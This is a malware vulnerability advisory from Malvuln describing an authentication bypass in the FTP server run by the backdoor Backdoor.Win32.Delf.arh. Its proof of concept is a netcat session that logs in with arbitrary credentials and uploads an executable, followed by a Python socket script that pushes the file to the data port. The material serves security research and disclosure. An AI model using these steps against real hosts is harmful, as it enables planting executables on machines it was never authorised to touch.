Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/b3b19524967d22d6eb7517b03b660b00.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.arh
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Delf
Type: PE32
MD5: b3b19524967d22d6eb7517b03b660b00
Vuln ID: MVID-2022-0650
Disclosure: 10/22/2022


Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,246,88).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok



from socket import *

MALWARE_HOST="192.168.18.125"
PORT=63064
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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